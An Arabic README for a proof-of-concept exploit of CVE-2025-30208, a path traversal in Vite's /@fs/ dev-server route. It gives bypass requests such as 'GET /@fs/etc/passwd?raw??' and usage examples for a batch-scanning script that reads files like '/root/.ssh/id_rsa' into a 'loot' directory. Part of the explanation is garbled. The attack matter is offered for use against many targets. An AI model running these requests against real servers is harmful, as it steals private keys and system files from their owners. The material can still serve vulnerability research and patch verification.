
إثبات المفهوم (PoC) لسكربت الاستغلال لثغرة قراءة الملف التعسفي في Vite /@fs/ Path Traversal في transformMiddleware (CVE-2025-30208).
برهان مفهوم لسكربت الاستغلال لثغرة قراءة الملفات التعسفية في Vite /@fs/ اجتياز المسار في transformMiddleware (CVE-2025-30208). يمكن الرجوع إلى التحليل المفصل في هذا المنشور.
الإصدارات المعرضة للخطر قبل:
Vite هو مشروع مفتوح المصدر شائع يمكن الحصول عليه من Github والموقع الرسمي. يستخدم بادئة خاصة، @fs، للسماح بالوصول المباشر إلى مسارات الملفات المطلقة في وضع التطوير:
GET /@fs/<absolute/path/to/file>
ولكن لمنع سوء الاستخدام، يحد Vite ما يمكن الوصول إليه عبر @fs باستخدام إعداد مثل:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
لذا نظريًا، يجب حظر الملفات خارج الدليل المسموح به (مثل /etc/passwd) — حتى إذا حاول شخص استخدام حيل مثل ../../../.
ومع ذلك، يكمن الخلل في كيفية تحليل Vite لعناوين URL والتحقق منها (عبر الوسيطة/الوظيفة transformMiddleware). تستخدم الوسيطة/الوظيفة ensureServingAccess(url, ...) للتحقق مما إذا كان طلب الملف عبر /@fs/ مسموحًا به.
ومع ذلك، يمكن للمهاجم صياغة طلب باستخدام فواصل استعلام لاحقة في عنوان URL مثل:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
ستؤدي هذه الأشكال إلى تجاوز مرشحات التعبير العادي (rawRE, urlRE) وفحوصات الأمان بسبب سلسلة الاستعلام غير الصحيحة التي لا تزال تطابق منطق التوجيه. ما يحدث:
/@fs/../../../etc/passwdraw?? (غير صحيحة عمدًا)?، ويقوم بذلك قبل التحقق من مسموحية مسار الملف.هذا يعني:
server.fs.allow./etc/passwd، إذا كانت موجودة.python3 poc.py [OPTIONS]
| Flag / Option | الوصف |
|---|---|
-u, --url | رابط الهدف الفردي (مثال: example.com:5173) |
-f, --file | ملف بقائمة الأهداف (رابط واحد لكل سطر) |
-p, --path | مسار نظام الملفات للقراءة (الافتراضي: /etc/passwd) |
-b, --bypass | سلسلة استعلام لتجاوز التحقق من التوجيه (الافتراضي: ?raw??) |
--proxy | رابط الوكيل (مثال: http://127.0.0.1:8080) |
-o, --output | دليل الإخراج لحفظ نتائج الاستغلال (الافتراضي: results) |
-t, --threads | عدد الخيوط لوضع الدفعات (الافتراضي: 10) |
-h, --help | إظهار رسالة المساعدة والخروج |
هدف فردي:
python3 cve-2025-30208.py -u example.com:5173
هدف فردي بمسار LFI مخصص لتسريب الملف الذي نريده:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
استغلال دفعات بأهداف متعددة:
python3 cve-2025-30208.py -f targets.txt
استعلام تجاوز مخصص:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
استخدام وكيل (مثال: Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
دليل إخراج مخصص:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
زيادة عدد الخيوط في وضع الدفعات:
python3 cve-2025-30208.py -f targets.txt -t 50